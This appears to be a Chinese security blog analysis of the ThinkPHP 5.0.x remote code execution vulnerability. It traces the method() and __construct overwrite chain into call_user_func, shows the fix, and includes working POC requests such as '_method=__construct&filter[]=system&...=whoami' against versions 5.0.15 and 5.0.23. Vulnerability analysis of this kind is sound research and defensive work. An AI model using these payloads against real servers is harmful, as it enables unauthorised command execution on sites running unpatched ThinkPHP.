1) 漏洞简介
2019年1月11日,ThinkPHP团队发布了一个补丁更新,修复了一处由于不安全的动态函数调用导致的远程代码执行漏洞。该漏洞危害程度非常高,默认安装条件下即远程命令执行。受影响的版本为ThinkPHP 5.0.0 - ThinkPHP 5.0.23完整版。
ThinkPHP 5.0.15【thinkphp/library/think/Request.php】:1
2
3
4
5
6Source: Request类的method() 方法中的:
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
Sink: Request类的filterValue() 方法中的回调函数:
call_user_func($filter, $value)
2) 漏洞复现
ThinkPHP 5.0.15 POC:
下面POC 只有当debug模式开启时才可成功执行1
2POST /thinkphp5015/public/index.php HTTP/1.1
_method=__construct&filter[]=system&mytest=whoami
ThinkPHP 5.0.23 POC:
下面POC 在debug模式无论关闭或开启均可成功执行1
2POST /thinkphp5023/public/index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
下面POC 只有当debug模式开启时才可成功执行1
2POST /thinkphp5023/public/index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
3) 漏洞分析(ThinkPHP 5.0.15)
github commit信息
首先看下官方github commit信息
https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003?diff=split
library/think/Request.php的public function method($method = false)方法
静态代码分析
以官网下载的ThinkPHP 5.0.15完整版进行分析,首先定位到漏洞关键点:
漏洞主要出现在Request 类的method 函数中
thinkphp5015\thinkphp/library/think/Request.php:501
method()函数可以用来获取当前请求类型,如 GET、POST 等,当传入参数$method为false 的时候,会通过var_method 来配置$method
508行method函数引入了一个外部可控的数据$_POST[Config::get[‘var_method’]。
在thinkphp5015\application\config.php中,可看到 ‘var_method’ 是表单请求伪变量,其默认值为 ‘_method’:
取得$_POST[‘_method’]的值并将其赋值给$this->method,然后动态调用$this->{$this->method}($_POST)。这意味着攻击者可利用POST 参数可以实现对当前类的任意方法进行调用,通过调用当前类的构造方法可以实现任意覆盖成员属性的值。如果动态调用__construct构造函数,可以实现任意覆盖成员属性的值则会导致代码执行。
在构造函数中,会判断其传入参数的key是否是该类属性,如果是,则将对应的value赋值给该属性,可以进行变量覆盖:
当method被赋值为construct之后,即$method参数为true 时,会通过server() 函数进入Request类的param()函数,进而input() >> getFilter() >> filterValue()
最终调用filterValue()中的回调函数call_user_func() 实现任意命令执行
当$method参数为true,进入server():
进入param()
进入input() >> getFilter() >> filterValue()
1008行 array_walk_recursive($data, [$this, ‘filterValue’], $filter);
利用回调函数array_walk_recursive,进入filterValue()1
2补充:array_walk_recursive ( array &$array , callable $callback [, mixed $userdata = NULL ] )
将用户自定义函数 callback 应用到 array 数组中的每个单元
1065行 call_user_func($filter, $value) 利用回调函数call_user_func() 触发漏洞,执行命令。
动态代码分析
测试POC:1
2POST /thinkphp5015/public/index.php HTTP/1.1
_method=__construct&filter[]=system&mytest=whoami
加断点:
__construct构造函数:
Request.php类的method(),method设为了__construct:
$method为true,进入server():
进入param():
return时进入input():
进入getFilter(),并通过回调函数array_walk_recursive()进入filterValue()
filterValue()中利用回调函数call_user_func() 触发漏洞,执行命令:
4) 补丁中的修复方式
https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003?diff=split
对$method增加白名单,限制为GET, POST, DELETE, PUT, PATCH
无法再调用__construct构造函数
参考:
https://nosec.org/home/detail/2163.html
https://paper.seebug.org/787/